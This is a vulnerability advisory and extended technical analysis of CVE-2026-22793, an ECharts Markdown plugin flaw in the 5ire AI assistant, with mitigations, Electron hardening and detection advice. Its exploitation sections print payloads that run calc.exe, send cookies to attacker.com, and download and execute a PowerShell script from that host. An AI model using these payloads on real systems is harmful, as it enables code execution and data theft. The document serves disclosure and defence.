CVE-2026-22793
CVE-2026-22793
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- Required
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
5ire is a cross-platform desktop artificial intelligence assistant and model context protocol client. Prior to version 0.15.3, an unsafe option parsing vulnerability in the ECharts Markdown plugin allows any user able to submit ECharts code blocks to execute arbitrary JavaScript code in the renderer context. This can lead to Remote Code Execution (RCE) in environments where privileged APIs (such as Electron’s electron.mcp) are exposed, resulting in full compromise of the host system. Version 0.15.3 patches the issue.
Comprehensive Technical Analysis of CVE-2026-22793
CVE ID: CVE-2026-22793 CVSS Score: 9.6 (Critical) Affected Software: 5ire (AI Assistant & Model Context Protocol Client) < v0.15.3
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Type:
- Unsafe Option Parsing in ECharts Markdown Plugin
- Arbitrary JavaScript Execution → Potential Remote Code Execution (RCE)
Root Cause:
The vulnerability stems from improper sanitization of user-supplied input in ECharts Markdown code blocks within the 5ire application. Specifically:
- The ECharts plugin (used for rendering data visualizations in Markdown) fails to validate or escape JavaScript code embedded in user-controlled input.
- When processed, malicious JavaScript executes in the renderer context (Electron’s sandboxed environment).
- If privileged Electron APIs (e.g.,
electron.mcp,nodeIntegration) are exposed, this can escalate to full system compromise (RCE).
CVSS v3.1 Breakdown (Score: 9.6 - Critical)
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely via crafted input. |
| Attack Complexity (AC) | Low (L) | No special conditions required. |
| Privileges Required (PR) | None (N) | No authentication needed. |
| User Interaction (UI) | Required (R) | Victim must render malicious Markdown. |
| Scope (S) | Changed (C) | Impacts renderer process, potentially host system. |
| Confidentiality (C) | High (H) | Full system compromise possible. |
| Integrity (I) | High (H) | Arbitrary code execution. |
| Availability (A) | High (H) | System disruption or takeover. |
Severity Justification:
- High Impact: RCE potential in Electron-based applications (common in AI assistants).
- Low Attack Complexity: Exploitable via simple Markdown injection.
- No Privileges Required: Attacker only needs the ability to submit ECharts code blocks (e.g., via chat, file upload, or API).
- Changed Scope: Escapes renderer sandbox if privileged APIs are exposed.
2. Potential Attack Vectors & Exploitation Methods
Primary Attack Vector:
-
Malicious Markdown Injection
- Attacker submits a crafted ECharts code block in Markdown (e.g., via chat, file upload, or API).
- Example payload:
```echarts { "series": [{ "type": "bar", "data": [1, 2, 3], "tooltip": { "formatter": "function() { require('child_process').exec('calc.exe'); return ''; }" } }] } - When rendered, the
formatterfunction executes arbitrary JavaScript.
-
Electron API Abuse (RCE Escalation)
- If the renderer has access to Node.js integration (
nodeIntegration: true) or Electron’sremotemodule, the attacker can:- Execute system commands (
child_process.exec). - Read/write files (
fsmodule). - Exfiltrate data or deploy malware.
- Execute system commands (
- If the renderer has access to Node.js integration (
Exploitation Scenarios:
| Scenario | Description | Impact |
|---|---|---|
| Chat-Based Attack | Attacker sends malicious ECharts Markdown in a chat message (e.g., Slack, Discord, or 5ire’s own interface). | RCE if privileged APIs are exposed. |
| File Upload Exploit | Victim opens a Markdown file (.md) containing malicious ECharts code. | Local code execution. |
| API-Based Attack | If 5ire exposes an API for Markdown processing, an unauthenticated attacker could submit malicious input. | Remote exploitation. |
| Supply Chain Attack | Malicious ECharts code embedded in a third-party plugin or dependency. | Widespread compromise. |
Proof-of-Concept (PoC) Exploit:
// Malicious ECharts payload to execute calc.exe (Windows)
{
"series": [{
"type": "bar",
"data": [1, 2, 3],
"tooltip": {
"formatter": "function() { require('child_process').exec('calc.exe'); return ''; }"
}
}]
}
- If
nodeIntegrationis enabled, this executescalc.exeon the victim’s machine.
3. Affected Systems & Software Versions
Vulnerable Software:
- 5ire AI Assistant (Cross-platform desktop application)
- Versions: All releases prior to 0.15.3
Affected Components:
- ECharts Markdown Plugin (used for rendering visualizations in Markdown)
- Electron Renderer Process (if privileged APIs are exposed)
Platforms at Risk:
- Windows, macOS, Linux (5ire is cross-platform)
- Enterprise Environments (if 5ire is used for internal AI assistance)
4. Recommended Mitigation Strategies
Immediate Actions:
-
Upgrade to 5ire v0.15.3+
- Patch available at: https://github.com/nanbingxyz/5ire/releases/tag/v0.15.3
- Mandatory for all users due to RCE risk.
-
Disable ECharts Markdown Plugin (Temporary Workaround)
- If upgrading is not immediately possible, disable the plugin in configuration:
{ "plugins": { "echarts": false } }
- If upgrading is not immediately possible, disable the plugin in configuration:
-
Restrict Electron Privileges (Defense-in-Depth)
- Disable
nodeIntegrationin Electron’swebPreferences:new BrowserWindow({ webPreferences: { nodeIntegration: false, // Critical contextIsolation: true, // Recommended sandbox: true // Additional protection } }); - Disable
remotemodule if not required:require('@electron/remote/main').disable();
- Disable
-
Input Sanitization & Content Security Policy (CSP)
-
Network-Level Protections
- Restrict 5ire’s network access via firewall rules.
- Monitor for suspicious Markdown files in email/web uploads.
Long-Term Recommendations:
- Code Audits: Review all Markdown/ECharts plugins for similar vulnerabilities.
- Dependency Scanning: Use tools like Dependabot or Snyk to detect vulnerable dependencies.
- Electron Hardening: Follow Electron Security Checklist.
- User Training: Educate users on risks of opening untrusted Markdown files.
5. Impact on the Cybersecurity Landscape
Broader Implications:
-
Rise of AI-Assisted Exploits
- AI assistants (e.g., 5ire, GitHub Copilot, Notion AI) are increasingly targeted due to:
- Complex parsing logic (Markdown, LaTeX, code blocks).
- Integration with privileged APIs (Electron, Node.js).
- Future attacks may leverage prompt injection or malicious training data.
- AI assistants (e.g., 5ire, GitHub Copilot, Notion AI) are increasingly targeted due to:
-
Electron-Based Application Risks
- ~50% of desktop apps use Electron (e.g., Slack, VS Code, Discord).
- Misconfigurations (
nodeIntegration: true,remotemodule) remain a top attack vector. - CVE-2026-22793 highlights the need for secure-by-default Electron settings.
-
Supply Chain & Third-Party Risks
- ECharts is a widely used library; similar vulnerabilities may exist in other plugins.
- Dependency confusion attacks could exploit this in CI/CD pipelines.
-
Enterprise & Cloud Impact
- AI assistants in corporate environments may process sensitive data, increasing breach risks.
- Cloud-based AI services (e.g., AWS Bedrock, Azure AI) could face similar injection attacks.
Historical Context:
- Similar CVEs:
- CVE-2021-44228 (Log4Shell) – JNDI injection in logging.
- CVE-2022-21703 (Electron RCE) –
nodeIntegrationmisconfiguration. - CVE-2023-23397 (Outlook RCE) – Markdown/HTML injection.
- Trend: Increasing exploitation of parsing flaws in AI/ML tools.
6. Technical Details for Security Professionals
Exploitation Flow:
- Attacker crafts malicious ECharts Markdown:
```echarts { "series": [{ "type": "bar", "data": [1, 2, 3], "tooltip": { "formatter": "function() { fetch('http://attacker.com/exfil?data=' + document.cookie); }" } }] } - Victim renders the Markdown in 5ire.
- JavaScript executes in the renderer process.
- If
nodeIntegrationis enabled:- Attacker gains full system access via
require('child_process'). - Example RCE payload:
require('child_process').exec('powershell -c "IEX (New-Object Net.WebClient).DownloadString(\'http://attacker.com/malware.ps1\')"');
- Attacker gains full system access via
Electron Security Hardening Checklist:
| Setting | Secure Configuration | Risk if Misconfigured |
|---|---|---|
nodeIntegration | false | RCE via require() |
contextIsolation | true | Bypass sandbox |
sandbox | true | Prevents Node.js access |
enableRemoteModule | false | RCE via remote module |
CSP | script-src 'self' | XSS prevention |
Detection & Forensics:
- Log Analysis:
- Monitor for unusual Markdown file uploads or ECharts code blocks.
- Check Electron process logs for
child_processorfsmodule usage.
- Endpoint Detection & Response (EDR):
- Alert on unexpected
calc.exeorpowershell.exespawns from Electron apps.
- Alert on unexpected
- Network Monitoring:
- Detect outbound connections to attacker-controlled domains (e.g.,
attacker.com).
- Detect outbound connections to attacker-controlled domains (e.g.,
Reverse Engineering the Patch:
- GitHub Advisory: GHSA-wg3x-7c26-97wj
- Key Fixes in v0.15.3:
- Input sanitization for ECharts
formatterfunctions. - CSP enforcement to block inline scripts.
- Electron security defaults (
nodeIntegration: false).
- Input sanitization for ECharts
Conclusion
CVE-2026-22793 is a critical RCE vulnerability in 5ire’s ECharts Markdown plugin, stemming from unsafe option parsing and Electron misconfigurations. Exploitation is low-complexity and can lead to full system compromise if privileged APIs are exposed.
Key Takeaways for Security Teams:
✅ Patch immediately to v0.15.3.
✅ Disable nodeIntegration in Electron apps.
✅ Sanitize all Markdown/ECharts input.
✅ Monitor for suspicious Electron process activity.
✅ Educate users on risks of untrusted Markdown files.
This vulnerability underscores the growing threat landscape around AI assistants and Electron-based applications, necessitating proactive hardening and continuous monitoring.
References: